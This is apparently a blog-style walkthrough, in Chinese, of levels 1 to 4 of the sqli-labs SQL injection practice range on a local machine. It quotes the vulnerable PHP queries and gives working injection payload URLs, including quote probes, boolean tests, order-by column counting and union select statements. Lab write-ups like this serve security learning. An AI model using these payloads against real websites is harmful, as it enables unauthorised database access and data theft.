靶场练习-Sqli-labs通关记录(1-4关)
0x00 实验环境
本地:Win 10
靶场:sqli-labs(共65关,每日一关)
0x02 通关记录
简介:一天一关!
(1)第一关:
简单的注入:
首先尝试',会出现报错:
然后尝试使用:and 1=1 --+ ,会发现显示正常,这是因为该查询语句不再看前面的id=2'的报错参数,转而发现and 1=1 是一条正常的语句:
and 1=2后就会出现异常,且不会显示任何数据:
然后以列单位进行排序操作:当order by 到第三列,都是正常的,order by第四列就会报错,因为表格的列仅为三列:
然后即可使用联合查询语句进行查询,之后的操作将慢慢通关叙述:
http://127.0.0.1/sqli-labs/Less-1/?id=-2' union select 1,2,3--+
(2)第二关:
第二关其实与第一关雷同,主要是数字型与字符型的区别:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里的查询语句中,$id并未进行处理,因此可以直接执行其查询操作,使用 and 1=2时,会出现错误,故该条查询语句无法执行。
而and 1=1为真,故返回正常查询结果
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3--+
同样是3列,与第一关差不多,仅仅是id为数字型的区别。
(3)第三关:
与第二关、第一关相差不大,此处出现报错时有语法提示:"1")
猜测此处的闭合语句应是如下的:
Select login_name, select password from table where id= ('our input here')
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=1--+ #显示正常
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2--+ #显示不正常
所以可以判断此处使用的闭合语句无误! 接下来的查询语法与上两关一致。
(4)第四关:
尝试 ',无任何回显,尝试 ",发现出现报错:
发现报错内容为:
the right syntax to use near '"1"") LIMIT 0,1' at line 1
因代码当中对id参数进行了 "" 和 () 的包装,故尝试使用闭合语句判断查询类型:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=1--+
and 1=1--+ 回显正常:
and 1=2--+回显不正常,判定可能存在注入:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+
SQL查询语句,31行:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
所以可以判断此处使用的闭合语句无误! 接下来的查询语法与上两关一致。